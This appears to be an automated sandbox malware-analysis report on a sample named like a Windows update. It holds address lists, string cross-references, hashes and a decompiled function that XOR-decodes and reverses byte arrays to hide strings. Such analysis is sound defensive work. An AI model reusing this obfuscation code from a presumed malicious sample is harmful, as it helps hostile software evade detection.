0x0040a91d
0x0040a925
0x0040a92d
0x0040a932
0x0040a935
0x0040a937
0x0040a93f
0x0040a947
0x0040a94f
0x0040a957
0x0040a95f
0x0040a961
0x0040a961
0x0040a969
0x0040a96a
0x0040a96f
0x0040a977
0x0040a97f
0x0040a987
0x0040a98f
0x0040a997
0x0040a99f
0x0040a9a7
0x0040a9af
0x0040a9b7
0x0040a9bf
0x0040a9c7
0x0040a9cf
0x0040a9d7
0x0040a9df
0x0040a9f0
0x0040aa00
0x0040aa07
0x0040aa08
0x0040aa1e
0x0040aa23
0x0040aa28
0x0040aa2d
0x0040aa35
0x0040aa3d
0x0040aa45
0x0040aa4a
0x0040aa4f
0x0040aa54
0x0040aa59
0x0040aa5e
0x0040aa66
0x0040aa6e
0x0040aa76
0x0040aa7e
0x0040aa80
0x0040aa87
0x0040aa8b
0x0040aa8c
0x0040aa95
0x0040aaa0
0x0040aaae
0x0040aab9
0x0040aac4
0x0040aad2
0x0040aae0
0x0040aaee
0x0040aafc
0x0040ab07
0x0040ab12
0x0040ab20
0x0040ab2b
0x0040ab39
0x0040ab47
0x0040ab55
0x0040ab60
0x0040ab6b
0x0040ab79
0x0040ab87
0x0040ab95
0x0040aba3
0x0040abb1
0x0040abbc
0x0040abca
0x0040abdc
0x0040abe3
0x0040abf1
0x0040abff
0x0040ac0d
0x0040ac1f
0x0040ac26
0x0040ac38
0x0040ac3f
0x0040ac51
0x0040ac5c
0x0040ac6a
0x0040ac78
0x0040ac86
0x0040ac91
0x0040ac9c
0x0040aca3
0x0040acae
0x0040acb9
0x0040acc0
0x0040acce
0x0040ace0
0x0040ace7
0x0040acf5
0x0040ad03
0x0040ad11
0x0040ad23
0x0040ad2a
0x0040ad3f
0x0040ad46
0x0040ad5b
0x0040ad62
0x0040ad74
0x0040ad7b
0x0040ad82
0x0040ad89
0x0040ad90
0x0040ad97
0x0040ad9e
0x0040ada0
0x0040adaf
0x0040adbc
0x0040adc3
0x0040adc8
0x0040adcd
0x00000000
0x00000000
0x0040adcf
0x0040add3
0x00000000
0x0040add5
0x0040addd
0x0040ade6
0x0040ade7
0x0040adec
0x0040adec
0x0040adef
0x0040adef
0x0040adf4
0x0040adfe
0x0040ae18
0x0040ae18
0x0040ae49
0x0040ae3d
0x0040ae4b
0x0040ae52
0x0040ae53
0x0040ae58
0x0040ae5b
0x0040ae5b
0x00000000

Strings

}, xrefs: 0040A34F
g, xrefs: 0040A0A9
Z, xrefs: 00409E9F
2, xrefs: 0040A3DA
I, xrefs: 0040A834
&, xrefs: 0040A32F
Z, xrefs: 00409D00
^, xrefs: 0040A595
h, xrefs: 0040A69E
P, xrefs: 0040A766
d, xrefs: 0040A96F
V, xrefs: 00409F66
T, xrefs: 00409D6A
5, xrefs: 0040A646
[, xrefs: 00409E97
_, xrefs: 0040A814
9, xrefs: 0040A1D2
), xrefs: 00409D7D
", xrefs: 0040AA3D
}, xrefs: 0040A505
{, xrefs: 0040AA4F
t, xrefs: 0040A858
p, xrefs: 0040A3C2
d, xrefs: 0040A160
E, xrefs: 0040A03F
c, xrefs: 0040A98F
O, xrefs: 00409F6E
", xrefs: 0040A047
T, xrefs: 0040A7DC
[, xrefs: 0040A1F2
9, xrefs: 0040A057
d, xrefs: 0040A868
H, xrefs: 0040A0A1
:, xrefs: 0040A3E2
#, xrefs: 0040A626
P, xrefs: 0040A64E
E, xrefs: 0040AA59
Z, xrefs: 0040AA1E
@, xrefs: 0040A030
4, xrefs: 00409D95
I, xrefs: 0040A58D
, xrefs: 0040A4FD
', xrefs: 0040A844
D, xrefs: 0040A7E4
+, xrefs: 0040A83C
:, xrefs: 0040A80C
i, xrefs: 00409E0D
., xrefs: 00409FA0
*, xrefs: 0040A5A5
s, xrefs: 0040A804
u, xrefs: 0040A880
`, xrefs: 0040A68E
4, xrefs: 0040AA23
l, xrefs: 0040A987
\, xrefs: 0040A03A
O, xrefs: 0040A5D5
d, xrefs: 0040A878
J, xrefs: 0040AA4A
V, xrefs: 0040A75E
{, xrefs: 0040A170
t, xrefs: 00409E87
K, xrefs: 00409F8E
j, xrefs: 0040A0B1
#, xrefs: 00409E1D
B, xrefs: 00409F86
?, xrefs: 0040A555
K, xrefs: 00409EA7
r, xrefs: 0040A860
., xrefs: 00409F96
$, xrefs: 0040A7EC
;, xrefs: 0040A5BD
7, xrefs: 0040A5C5
;, xrefs: 0040A62E
), xrefs: 0040A8BB
F, xrefs: 0040A63E
o, xrefs: 0040A870
!, xrefs: 0040A565
&, xrefs: 0040A51D
-, xrefs: 0040A33F
n, xrefs: 00409D85
_, xrefs: 0040A61E
C, xrefs: 00409F76
L, xrefs: 0040AA35
E, xrefs: 0040A236
L, xrefs: 0040A04F
], xrefs: 0040A97F
^, xrefs: 00409F7E

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID:
String ID: $!$"$"$#$#$$$&$&$'$)$)$*$+$-$.$.$2$4$4$5$7$9$9$:$:$;$;$?$@$B$C$D$E$E$E$F$H$I$I$J$K$K$L$L$O$O$P$P$T$T$V$V$Z$Z$Z$[$[$\$]$^$^$_$_$`$c$d$d$d$d$g$h$i$j$l$n$o$p$r$s$t$t$u${${$}$}
API String ID: 0-3399755458
Opcode ID: bd7c04dccf065e1d88f6d9f7e92eaab3c2c44fac3a6ad3412f958f15279ef865
Instruction ID: 7bb5c3633d4d28a97bd5419e7888351cfa4f1d60291a9d888d1e89523d7a5470
Opcode Fuzzy Hash: bd7c04dccf065e1d88f6d9f7e92eaab3c2c44fac3a6ad3412f958f15279ef865
Instruction Fuzzy Hash: DDA2A13040C7C29AD336C63888587CBBFD46BA6324F588B9DD1ED4A2D2D675024AD767

Uniqueness

Uniqueness Score: -1.00%

Function 00415BD0, Relevance: 108.6, APIs: 6, Strings: 66, Instructions: 646memorystringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?,00000000), ref: 004164B1
GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,00000014), ref: 004164EB
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000014), ref: 004164F2
lstrlenA.KERNEL32(?,00000000,?,00000000,?,?,?,?,?,?,?,?,?,00000014), ref: 0041654B
GetProcessHeap.KERNEL32(00000000,00000000), ref: 004165E3
HeapFree.KERNEL32(00000000), ref: 004165EA

Strings

d, xrefs: 00416029
', xrefs: 00415C20
M, xrefs: 004163CB
p, xrefs: 00416385
0, xrefs: 00415C3E
|, xrefs: 0041603D
7, xrefs: 00416402
~, xrefs: 0041635D
{, xrefs: 00415BFF
a, xrefs: 004163EE
:, xrefs: 00415C04
I, xrefs: 00415EF4
4, xrefs: 00415C25
3, xrefs: 004163A8
\, xrefs: 00415EC3
", xrefs: 004160D1
G, xrefs: 004163F3
h, xrefs: 0041604C
9, xrefs: 00415E55
l, xrefs: 00415CBE
T, xrefs: 004163B7
U, xrefs: 00416051
., xrefs: 00415C91
6, xrefs: 00415ED7
', xrefs: 00415EC8
k, xrefs: 004163D0
S, xrefs: 00416211
n, xrefs: 004161B3
c, xrefs: 00415C7F
M, xrefs: 00415C8C
i, xrefs: 00416033
M, xrefs: 00415EA0
{, xrefs: 00415F03
d, xrefs: 00416220
N, xrefs: 00415D97
A, xrefs: 00416042
>, xrefs: 004163C6
?, xrefs: 00415D66
n, xrefs: 00416234
U, xrefs: 004163A3
/, xrefs: 00415D61
2, xrefs: 00415C68
?, xrefs: 00415ED2
c, xrefs: 00415D4E
Y, xrefs: 00415C09
v, xrefs: 004160F9
&, xrefs: 004163BC
], xrefs: 00415E96
s, xrefs: 00415EE6
., xrefs: 0041634E
7, xrefs: 004160FE
a, xrefs: 0041640C
f, xrefs: 00415EFE
z, xrefs: 00415C34
], xrefs: 00415D8D
#, xrefs: 00416248
:, xrefs: 00415D44
n, xrefs: 004163DA
p, xrefs: 00416056
g, xrefs: 004163B2
F, xrefs: 00415D79
O, xrefs: 00415DB0
7, xrefs: 004163E4
^, xrefs: 0041638F
\, xrefs: 00416376
b, xrefs: 004163F8

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: Heap$Processlstrlen$AllocFree
String ID: "$#$&$'$'$.$.$/$0$2$3$4$6$7$7$7$9$:$:$>$?$?$A$F$G$I$M$M$M$N$O$S$T$U$U$Y$\$\$]$]$^$a$a$b$c$c$d$d$f$g$h$i$k$l$n$n$n$p$p$s$v$z${${$|$~
API String ID: 2204526134-88862724
Opcode ID: 35d8601f16750b3f0a8b14371d56d770c5ec2ac2de7b2246bbd6a7e197c30585
Instruction ID: d3d8d2549f7682fd1551bd31a31a6895d5c84ed4d1ce20b04fc8ae49b41e83c9
Opcode Fuzzy Hash: 35d8601f16750b3f0a8b14371d56d770c5ec2ac2de7b2246bbd6a7e197c30585
Instruction Fuzzy Hash: D8622A2110D7C189D322CB3C985868FBFD51BA7218F585E9DF5E44B3E3C2AA8249C767

Uniqueness

Uniqueness Score: -1.00%

Function 0040E246, Relevance: 98.0, Strings: 78, Instructions: 512
COMMONCrypto

Download Yara Rule

C-Code - Quality: 97%

			E0040E246(void* __eax, char __ebx, void* __esi, signed int _a4, signed int _a5, signed int _a6, signed int _a7, intOrPtr _a8, char _a12, char _a13, char _a14, char _a15, intOrPtr _a16, char _a20, char _a21, char _a22, char _a23, signed char _a24, signed char _a25, signed char _a26, signed char _a27, intOrPtr _a28, char* _a32, char* _a36, char* _a40, char* _a44, char* _a48, char* _a52, char* _a56, intOrPtr _a60, intOrPtr _a64, char* _a68, intOrPtr _a72, char* _a76, char* _a80, char* _a84, signed int _a88, char* _a92, signed int* _a96, intOrPtr _a100, char* _a104, char* _a108, intOrPtr _a112, char* _a116, char* _a120, char* _a124, intOrPtr _a128, signed char* _a132, char* _a136, intOrPtr _a140, char* _a144, intOrPtr _a148, char* _a152, intOrPtr _a156, char* _a160, signed char* _a164, signed int* _a168, signed char* _a172, signed int* _a176, intOrPtr _a180, signed char _a184, signed char _a185, signed char _a186, signed char _a187, signed char _a188, signed int _a189, signed int _a192, signed int _a193, signed int _a194, signed int _a195, signed int _a196, signed int _a197, signed int _a200, signed int _a201, signed int _a202, signed int _a203, signed int _a204, signed int _a205, char _a206, char _a208, signed int _a209, signed int _a210, signed int _a211, signed int _a212, signed int _a213, signed int _a214, signed int _a216, signed int _a217, signed int _a218, signed int _a219, signed int _a220, signed int _a221, char _a224, char _a232, char _a240, char _a241, char _a242, char _a243, char _a244, char _a248, char _a256, char _a257, char _a258, char _a259, char _a260, char _a264, char _a272, char _a273, char _a274, char _a275, char _a276, char _a277, char _a280, char _a281, char _a282, char _a283, char _a284, char _a285, char _a288, signed char _a296, signed char _a297, signed char _a298, signed char _a299, signed char _a300, signed char _a301, char _a304, char _a320, char _a328, char _a336, char _a337, char _a338, char _a339, char _a340, char _a341, char _a344, signed char _a352, signed char _a353, signed char _a354, signed char _a355, signed char _a356, signed char _a357, char _a360, char _a361, char _a362, char _a363, char _a364, char _a365, char _a376, char _a384, signed char _a392, signed char _a393, signed char _a394, signed char _a395, signed char _a396, signed char _a397, char _a400, char _a401, char _a402, char _a403, char _a404, char _a405, char _a416, char _a424, char _a425, char _a426, char _a427, char _a428, char _a429, char _a432, char _a440, signed char _a448, signed char _a449, signed char _a450, signed char _a451, signed char _a452, signed char _a453, signed char _a454, char _a456, char _a472, char _a473, char _a474, char _a475, char _a476, char _a477, char _a478, char _a479) {
				char _v0;
				intOrPtr _v4;
				char _v8;
				intOrPtr _v20;
				void* _t412;
				void* _t419;
				void* _t425;
				void* _t432;
				void* _t438;
				void* _t445;
				char _t452;
				char _t457;
				signed int _t475;
				intOrPtr* _t477;
				char _t483;
				char _t489;
				char _t499;
				char _t504;
				char _t510;
				void* _t516;
				void* _t521;
				intOrPtr _t539;
				intOrPtr _t593;
				void* _t594;
				void* _t596;
				void* _t597;
				signed int _t598;
				void* _t599;
				void* _t600;
				void* _t601;
				void* _t602;
				void* _t603;
				intOrPtr _t607;
				void* _t609;

				_t596 = __esi;
				_t412 = __eax;
				do {
					_t483 =  *((intOrPtr*)(_t609 + _t412 + 0xd8));
					 *((char*)(_t609 + _t412 + 0xd8)) =  *((intOrPtr*)(_t609 + _t596 + 0xd8));
					_t412 = _t412 + 1;
					 *((char*)(_t609 + _t596 + 0xd8)) = _t483;
					_t596 = _t596 - 1;
				} while (_t412 < _t596);
				_a392 = _a216 ^ 0x000000c3;
				_a393 = _a217 ^ 0x00000041;
				_a394 = _a218 ^ 0x000000c0;
				_a395 = _a219 ^ 0x00000055;
				_push(4);
				_a396 = _a220 ^ 0x000000a6;
				_push( &_a20);
				 *0x431c89 = 0x19;
				_a397 = _a221 ^ 0x0000005d;
				_a20 = 0x89;
				_a21 = 0xda;
				_a22 = 8;
				_a23 = 0x66;
				_a12 = 0x42;
				_a13 = 0x28;
				_a14 = 0x41;
				_a15 = 0x2c;
				_a28 = E0040D980( &_a12);
				_a4 = 0xb7;
				_a5 = 0xde;
				_a6 = 0x21;
				_a7 = 0x73;
				_t419 = 0;
				_t597 = 3;
				do {
					_t489 =  *((intOrPtr*)(_t609 + _t419 + 0xc));
					 *((char*)(_t609 + _t419 + 0xc)) =  *((intOrPtr*)(_t609 + _t597 + 0xc));
					_t419 = _t419 + 1;
					 *((char*)(_t609 + _t597 + 0xc)) = _t489;
					_t597 = _t597 - 1;
				} while (_t419 < _t597);
				_a24 = _a4 ^ 0x00000019;
				_a25 = _a5 ^ 0x0000004e;
				_push(6);
				_push( &_a336);
				_t51 =  &_a208; // 0x78
				_a26 = _a6 ^ 0x000000bb;
				 *0x431c89 = 0x19;
				_a27 = _a7 ^ 0x000000b7;
				_a240 = 0x6a;
				_a241 = 0x6f;
				_a242 = 0x68;
				_a243 = 0x6e;
				_a244 = __ebx;
				_a336 = 0xf5;
				_a337 = 0x6f;
				_a338 = 0x36;
				_a339 = 0x2c;
				_a340 = 0x84;
				_a341 = 0x4f;
				_a208 = 0x45;
				_a209 = 0x24;
				_a210 = 0x48;
				_a211 = 0x21;
				_a212 = 0x42;
				_a213 = 0x27;
				_v4 = E0040D980(_t51);
				_a256 = 0x61;
				_a257 = 0x6e;
				_a258 = 0x6e;
				_a259 = 0x61;
				_a260 = __ebx;
				_a208 = 0x6e;
				_a209 = 0x3b;
				_a210 = 0x97;
				_a211 = 0xd3;
				_a212 = 0x92;
				_a213 = 0xcb;
				_a214 = 0x44;
				_t425 = 0;
				_t598 = 6;
				do {
					_t85 = _t598 + 0xe0; // 0x6e
					_t87 = _t425 + 0xe0; // 0x6e
					 *((char*)(_t609 + _t425 + 0xe0)) =  *((intOrPtr*)(_t609 + _t85));
					_t425 = _t425 + 1;
					 *((char*)(_t609 + _t598 + 0xe0)) =  *((intOrPtr*)(_t609 + _t87));
					_t598 = _t598 - 1;
				} while (_t425 < _t598);
				_t92 =  &_a208; // 0x6e
				_a448 =  *_t92 ^ 0x00000026;
				_a451 = _a211 ^ 0x000000bd;
				_a449 = _a209 ^ 0x000000b9;
				_a450 = _a210 ^ 0x000000f7;
				_a454 = _a214 ^ 0x0000006e;
				_a452 = _a212 ^ 0x000000f3;
				_a453 = _a213 ^ 0x0000005a;
				_a472 = 0x63;
				_a473 = 0x6c;
				_a474 = 0x61;
				_a475 = 0x75;
				_a476 = 0x64;
				_a477 = 0x69;
				_a478 = 0x61;
				_a479 = __ebx;
				_a200 = 0x71;
				_a201 = 0x6a;
				_a202 = 0x4c;
				_a203 = 0x72;
				_a204 = 0x4d;
				_a205 = 1;
				_t432 = 0;
				_t599 = 5;
				do {
					_t499 =  *((intOrPtr*)(_t609 + _t432 + 0xd8));
					 *((char*)(_t609 + _t432 + 0xd8)) =  *((intOrPtr*)(_t609 + _t599 + 0xd8));
					_t432 = _t432 + 1;
					 *((char*)(_t609 + _t599 + 0xd8)) = _t499;
					_t599 = _t599 - 1;
				} while (_t432 < _t599);
				_t130 =  &_a202; // 0x4c
				_a352 = _a200 ^ 0x00000069;
				_t132 =  &_a203; // 0x72
				_a353 = _a201 ^ 0x00000028;
				_t134 =  &_a204; // 0x4d
				_a354 =  *_t130 ^ 0x0000001e;
				_a355 =  *_t132 ^ 0x00000029;
				_a202 = 0xb5;
				_a203 = 0xb5;
				_a356 =  *_t134 ^ 0x00000004;
				_a357 = _a205 ^ 0x00000071;
				_a272 = 0x6a;
				_a273 = 0x61;
				_a274 = 0x6e;
				_a275 = 0x65;
				_a276 = __ebx;
				_a200 = 0x16;
				_a201 = 0xa9;
				_a204 = 0x78;
				_a205 = 0xb9;
				_t438 = 0;
				_t600 = 5;
				do {
					_t504 =  *((intOrPtr*)(_t609 + _t438 + 0xd8));
					 *((char*)(_t609 + _t438 + 0xd8)) =  *((intOrPtr*)(_t609 + _t600 + 0xd8));
					_t438 = _t438 + 1;
					 *((char*)(_t609 + _t600 + 0xd8)) = _t504;
					_t600 = _t600 - 1;
				} while (_t438 < _t600);
				_a392 = _a200 ^ 0x000000d4;
				_a393 = _a201 ^ 0x00000019;
				_a394 = _a202 ^ 0x000000c7;
				_a395 = _a203 ^ 0x000000dc;
				_push(6);
				_a396 = _a204 ^ 0x000000c8;
				_push( &_a424);
				 *0x431c89 = 0x19;
				_a397 = _a205 ^ 0x00000016;
				_a424 = 0x53;
				_a425 = 0x8b;
				_a426 = 0xa2;
				_a427 = 0x94;
				_a428 = 0x67;
				_a429 = 0x43;
				_a200 = 0x66;
				_a201 = 0x35;
				_a202 = 0x40;
				_a203 = 0x33;
				_a204 = 0x52;
				_a205 = 0x3c;
				_t607 = E0040D980( &_a200);
				_a400 = 0x6c;
				_a401 = 0x69;
				_a402 = 0x6e;
				_a403 = 0x64;
				_a404 = 0x61;
				_a405 = __ebx;
				_a448 = 0x73;
				_a449 = 0x61;
				_a450 = 0x6e;
				_a451 = 0x64;
				_a452 = 0x72;
				_a453 = 0x61;
				_a454 = __ebx;
				_a240 = 0x6c;
				_a241 = 0x69;
				_a242 = 0x73;
				_a243 = 0x61;
				_a244 = __ebx;
				_a192 = 0x61;
				_a193 = 1;
				_a194 = 0x45;
				_a195 = 0xff;
				_a196 = 0x6e;
				_a197 = 0xf4;
				_t445 = 0;
				_t601 = 5;
				do {
					_t510 =  *((intOrPtr*)(_t609 + _t445 + 0xdc));
					 *((char*)(_t609 + _t445 + 0xdc)) =  *((intOrPtr*)(_t609 + _t601 + 0xdc));
					_t445 = _t445 + 1;
					 *((char*)(_t609 + _t601 + 0xdc)) = _t510;
					_t601 = _t601 - 1;
				} while (_t445 < _t601);
				_a392 = _a192 ^ 0x00000099;
				_a393 = _a193 ^ 0x0000000f;
				_a394 = _a194 ^ 0x00000091;
				_a395 = _a195 ^ 0x00000026;
				_push(6);
				_a396 = _a196 ^ 0x00000078;
				_push( &_a360);
				_t229 =  &_a192; // 0x66
				 *0x431c89 = 0x19;
				_a397 = _a197 ^ 0x00000061;
				_a360 = __ebx;
				_a361 = 0xc3;
				_a362 = 0x49;
				_a363 = 0x83;
				_a364 = 0xfc;
				_a365 = 0x33;
				_a192 = 0x75;
				_a193 = 0x1e;
				_a194 = 0x7f;
				_a195 = 0xd;
				_a196 = 0x68;
				_a197 = 6;
				_t593 = E0040D980(_t229);
				_a272 = 0x62;
				_a273 = 0x65;
				_a274 = 0x74;
				_a275 = 0x74;
				_a276 = 0x79;
				_a277 = __ebx;
				_a280 = 0x68;
				_a281 = 0x65;
				_a282 = 0x6c;
				_a283 = 0x65;
				_a284 = 0x6e;
				_a285 = __ebx;
				_a208 = 0x73;
				_a209 = 0x61;
				_a210 = 0x6e;
				_a211 = 0x64;
				_a212 = 0x72;
				_a213 = 0x61;
				_a214 = __ebx;
				_a184 = 8;
				_a185 = 0xf;
				_a186 = 0x6d;
				_a187 = 0xa3;
				_a188 = 0x9f;
				_a189 = 0x98;
				_t516 = 0;
				_t602 = 5;
				do {
					_t452 =  *((intOrPtr*)(_t609 + _t516 + 0xdc));
					 *((char*)(_t609 + _t516 + 0xdc)) =  *((intOrPtr*)(_t609 + _t602 + 0xdc));
					_t516 = _t516 + 1;
					 *((char*)(_t609 + _t602 + 0xdc)) = _t452;
					_t602 = _t602 - 1;
				} while (_t516 < _t602);
				_a297 = _a185 ^ 0x000000f0;
				_a296 = _a184 ^ 0x000000dc;
				_a298 = _a186 ^ 0x000000cd;
				_a300 = _a188 ^ 0x0000006e;
				_a299 = _a187 ^ 0x00000003;
				_a301 = _a189 ^ 0x00000008;
				_a192 = 0x63;
				_a193 = 0x61;
				_a194 = 0x72;
				_a195 = 0x6f;
				_a196 = 0x6c;
				_a197 = __ebx;
				_a200 = 0xee;
				_a201 = 0x5b;
				_a202 = 0xc5;
				_a203 = 0x99;
				_a204 = 0x2f;
				_t521 = 0;
				_t603 = 4;
				do {
					_t457 =  *((intOrPtr*)(_t609 + _t521 + 0xec));
					 *((char*)(_t609 + _t521 + 0xec)) =  *((intOrPtr*)(_t609 + _t603 + 0xec));
					_t521 = _t521 + 1;
					 *((char*)(_t609 + _t603 + 0xec)) = _t457;
					_t603 = _t603 - 1;
				} while (_t521 < _t603);
				_a184 = _a200 ^ 0x0000005d;
				_a185 = _a201 ^ 0x000000ec;
				_a186 = _a202 ^ 0x000000b1;
				_a187 = _a203 ^ 0x00000033;
				_a188 = _a204 ^ 0x000000ee;
				_a28 = _a16;
				_a24 =  &_a224;
				_a32 =  &_a264;
				_a36 =  &_a288;
				_a40 =  &_a400;
				_a44 =  &_v8;
				_a48 =  &_a248;
				_a60 = _a20;
				_a52 =  &_a304;
				_a56 =  &_a344;
				_a64 = _a8;
				_a72 = _a12;
				_a68 =  &_a416;
				_a76 =  &_a320;
				_a80 =  &_a424;
				_a84 =  &_a360;
				_a88 = _a4;
				_a92 =  &_v0;
				_a96 =  &_a216;
				_a100 = _v20;
				_a104 =  &_a240;
				_a108 =  &_a432;
				_t361 =  &_a456; // 0x64
				_a112 = _t361;
				_a116 =  &_a336;
				_a120 =  &_a256;
				_a124 =  &_a376;
				 *0x431c89 = 0x19;
				_a200 = 0x73;
				_a201 = 0x68;
				_a202 = 0x61;
				_a203 = 0x72;
				_a204 = 0x6f;
				_a205 = 0x6e;
				_a206 = __ebx;
				_a128 = _t607;
				_a132 =  &_a392;
				_a136 =  &_a440;
				_t381 =  &_a232; // 0x6c
				_a140 = _t381;
				_t385 =  &_a280; // 0x68
				_a144 =  &_a384;
				_a152 =  &_a272;
				_a156 = _t385;
				_a160 =  &_a208;
				_a164 =  &_a296;
				_a168 =  &_a192;
				_t397 =  &_a328; // 0x72
				_a148 = _t593;
				_a172 =  &_a184;
				_a176 =  &_a200;
				_a180 = _t397;
				_t475 = E0040C1D0( &_a200);
				_t604 =  *((intOrPtr*)(_t609 + 0x38 + _t475 % 0x28 * 4));
				_t477 =  *((intOrPtr*)(_t609 + 0x38 + _t475 % 0x28 * 4));
				_t594 = _t477 + 1;
				do {
					_t539 =  *_t477;
					_t477 = _t477 + 1;
				} while (_t539 != __ebx);
				return E00424873(E004028A0(_a472, _t604, _t477 - _t594), _a456);
			}

0x0040e246
0x0040e246
0x0040e250
0x0040e257
0x0040e25e
0x0040e265
0x0040e266
0x0040e26d
0x0040e26e
0x0040e28c
0x0040e29a
0x0040e2ad
0x0040e2be
0x0040e2c5
0x0040e2cb
0x0040e2d5
0x0040e2da
0x0040e2e1
0x0040e2e8
0x0040e2ed
0x0040e2f2
0x0040e2f7
0x0040e2fc
0x0040e301
0x0040e306
0x0040e30b
0x0040e315
0x0040e319
0x0040e31e
0x0040e323
0x0040e328
0x0040e32d
0x0040e32f
0x0040e334
0x0040e338
0x0040e33c
0x0040e340
0x0040e341
0x0040e345
0x0040e346
0x0040e35b
0x0040e363
0x0040e367
0x0040e375
0x0040e376
0x0040e37d
0x0040e381
0x0040e388
0x0040e38c
0x0040e394
0x0040e39c
0x0040e3a4
0x0040e3ac
0x0040e3b3
0x0040e3bb
0x0040e3c3
0x0040e3cb
0x0040e3d3
0x0040e3db
0x0040e3e3
0x0040e3eb
0x0040e3f3
0x0040e3fb
0x0040e403
0x0040e40b
0x0040e418
0x0040e41c
0x0040e424
0x0040e42c
0x0040e434
0x0040e43c
0x0040e443
0x0040e44b
0x0040e453
0x0040e45b
0x0040e463
0x0040e46b
0x0040e473
0x0040e47b
0x0040e47d
0x0040e482
0x0040e482
0x0040e489
0x0040e490
0x0040e497
0x0040e498
0x0040e49f
0x0040e4a0
0x0040e4a4
0x0040e4bb
0x0040e4d1
0x0040e4df
0x0040e4ed
0x0040e503
0x0040e50a
0x0040e511
0x0040e518
0x0040e520
0x0040e528
0x0040e530
0x0040e538
0x0040e540
0x0040e548
0x0040e550
0x0040e557
0x0040e55f
0x0040e567
0x0040e56f
0x0040e577
0x0040e57f
0x0040e587
0x0040e589
0x0040e590
0x0040e597
0x0040e59e
0x0040e5a5
0x0040e5a6
0x0040e5ad
0x0040e5ae
0x0040e5c0
0x0040e5c9
0x0040e5d0
0x0040e5df
0x0040e5e6
0x0040e5ed
0x0040e5fb
0x0040e60a
0x0040e611
0x0040e618
0x0040e61f
0x0040e626
0x0040e62e
0x0040e636
0x0040e63e
0x0040e646
0x0040e64d
0x0040e655
0x0040e65d
0x0040e665
0x0040e66d
0x0040e66f
0x0040e680
0x0040e687
0x0040e68e
0x0040e695
0x0040e696
0x0040e69d
0x0040e69e
0x0040e6bc
0x0040e6ca
0x0040e6de
0x0040e6ef
0x0040e6f6
0x0040e6ff
0x0040e709
0x0040e711
0x0040e718
0x0040e71f
0x0040e727
0x0040e72f
0x0040e737
0x0040e73f
0x0040e747
0x0040e74f
0x0040e757
0x0040e75f
0x0040e767
0x0040e76f
0x0040e777
0x0040e784
0x0040e786
0x0040e78e
0x0040e796
0x0040e79e
0x0040e7a6
0x0040e7ae
0x0040e7b5
0x0040e7bd
0x0040e7c5
0x0040e7cd
0x0040e7d5
0x0040e7dd
0x0040e7e5
0x0040e7ec
0x0040e7f4
0x0040e7fc
0x0040e804
0x0040e80c
0x0040e813
0x0040e81b
0x0040e823
0x0040e82b
0x0040e833
0x0040e83b
0x0040e843
0x0040e845
0x0040e850
0x0040e857
0x0040e85e
0x0040e865
0x0040e866
0x0040e86d
0x0040e86e
0x0040e88c
0x0040e89a
0x0040e8ad
0x0040e8be
0x0040e8c5
0x0040e8ce
0x0040e8d8
0x0040e8d9
0x0040e8e0
0x0040e8e7
0x0040e8ee
0x0040e8f5
0x0040e8fd
0x0040e905
0x0040e90d
0x0040e915
0x0040e91d
0x0040e925
0x0040e92d
0x0040e935
0x0040e93d
0x0040e945
0x0040e952
0x0040e954
0x0040e95c
0x0040e964
0x0040e96c
0x0040e974
0x0040e97c
0x0040e983
0x0040e98b
0x0040e993
0x0040e99b
0x0040e9a3
0x0040e9ab
0x0040e9b2
0x0040e9ba
0x0040e9c2
0x0040e9ca
0x0040e9d2
0x0040e9da
0x0040e9e2
0x0040e9e9
0x0040e9f1
0x0040e9f9
0x0040ea01
0x0040ea09
0x0040ea11
0x0040ea19
0x0040ea1b
0x0040ea20
0x0040ea27
0x0040ea2e
0x0040ea35
0x0040ea36
0x0040ea3d
0x0040ea3e
0x0040ea5f
0x0040ea6d
0x0040ea7b
0x0040ea91
0x0040ea98
0x0040ea9f
0x0040eaa6
0x0040eaae
0x0040eab6
0x0040eabe
0x0040eac6
0x0040eace
0x0040ead5
0x0040eadd
0x0040eae5
0x0040eaed
0x0040eaf5
0x0040eafd
0x0040eaff
0x0040eb10
0x0040eb17
0x0040eb1e
0x0040eb25
0x0040eb26
0x0040eb2d
0x0040eb2e
0x0040eb4c
0x0040eb5d
0x0040eb6d
0x0040eb77
0x0040eb82
0x0040eb89
0x0040eb94
0x0040eb9f
0x0040ebaa
0x0040ebb5
0x0040ebbd
0x0040ebc8
0x0040ebd0
0x0040ebdf
0x0040ebee
0x0040ebf2
0x0040ebf6
0x0040ec01
0x0040ec0c
0x0040ec1b
0x0040ec26
0x0040ec2a
0x0040ec3d
0x0040ec44
0x0040ec4b
0x0040ec60
0x0040ec67
0x0040ec6e
0x0040ec83
0x0040ec91
0x0040ec98
0x0040ecad
0x0040ecb4
0x0040ecbb
0x0040ecc3
0x0040eccb
0x0040ecd3
0x0040ecdb
0x0040ece3
0x0040eceb
0x0040ecf2
0x0040ecf9
0x0040ed00
0x0040ed07
0x0040ed0e
0x0040ed23
0x0040ed2a
0x0040ed31
0x0040ed38
0x0040ed54
0x0040ed5b
0x0040ed62
0x0040ed77
0x0040ed7e
0x0040ed85
0x0040ed8c
0x0040ed93
0x0040ed9a
0x0040eda9
0x0040edad
0x0040edaf
0x0040edb2
0x0040edb2
0x0040edb4
0x0040edb5
0x0040edde

Strings

a, xrefs: 0040E62E
3, xrefs: 0040E915
q, xrefs: 0040E557
a, xrefs: 0040E7BD
